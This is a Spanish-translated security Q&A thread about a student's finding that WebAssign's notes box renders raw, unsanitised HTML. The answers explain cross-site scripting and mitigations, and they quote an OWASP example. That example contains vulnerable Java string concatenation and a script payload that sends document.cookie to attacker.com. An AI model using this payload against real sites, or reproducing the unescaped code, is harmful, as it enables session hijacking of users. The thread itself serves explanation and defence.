entrada de HTML sin personalizar

2

Mi escuela usa el sitio web WebAssign para la tarea de matemáticas y ciencias en línea. Una de las características de WebAssign es una sección de "Mis notas" que le permite ingresar notas para un problema y volver a ella más tarde sin enviar la respuesta.

El cuadro de diálogo "Mis notas" tiene un botón <input> para editar el texto y un <div> cuyo innerHTML es el contenido en bruto de las notas. Esto significa que, por ejemplo, escribir &pi; en el cuadro de notas hará que aparezca π en la vista renderizada.

Otro efecto secundario interesante es que es el HTML renderizado que se copia en el cuadro para su posterior edición. Por ejemplo, escribir &amp;gt; y luego presionar "Editar" y "Guardar" repetidamente daría como resultado que la secuencia &amp;gt;&gt;> aparezca en el editor.

También puedes romper la página escribiendo algo como </div></body></html> , que se inyecta en el HTML sin formato.

Mi pregunta es si hay algo inherentemente peligroso para el servidor o para otros usuarios del sitio web aquí. Me parece que no lo hay; no tengo ninguna indicación de que el servidor esté ejecutando ningún script, etc., que pueda poner allí, solo almacene el texto y lo envíe de vuelta más tarde. Sin embargo, parece que hay algo simplemente incorrecto sobre esta falta de desinfección en un sitio web de producción. Entonces, ¿esto es un problema?

    
pregunta wchargin 11.11.2013 - 23:23
fuente

2 respuestas

6

Mirando su descripción, la aplicación parece ser vulnerable a Scripting entre sitios (XSS) . Tal ataque puede llevar a comprometer las cuentas de los estudiantes e incluso las cuentas con privilegios más altos. Esto puede ser demostrado por:

  1. La víctima hace clic en un enlace acortado que lleva a http://evil.com .

  2. La página http://evil.com contiene un formulario oculto de "Mis notas" que se rellena previamente con <script> malicioso (una secuencia de comandos que envía la cookie del usuario al atacante).

  3. El formulario se envía automáticamente a la URL de diseño web legítimo (no que la solicitud se envíe desde el navegador de la víctima, lo que significa que se envía con la cookie de la víctima).

  4. La página legítima de WebAssign se representa con el <script> malicioso que se ejecuta y la cookie de la víctima se envía al atacante.

Esto se puede mitigar al sanear correctamente el contenido HTML proporcionado por el usuario antes de enviarlo al navegador y al configurar HttpOnly marca con las cookies.

    
respondido por el Adi 12.11.2013 - 00:08
fuente
4

Las vulnerabilidades que describe abren a otros usuarios a Scripts entre sitios (XSS) ataques.

Un ejemplo directamente desde el sitio OWASP:

  

La aplicación utiliza datos no confiables en la construcción del   siguiente fragmento de código HTML sin validación ni escape:

(String) page += "<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";
     

El atacante modifica el parámetro 'CC' en su navegador para:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi
?foo='+document.cookie</script>'.
     

Esto hace que el ID de sesión de la víctima se envíe al atacante   sitio web, lo que permite al atacante secuestrar la sesión actual del usuario.

    
respondido por el CoverosGene 12.11.2013 - 00:00
fuente

Lea otras preguntas en las etiquetas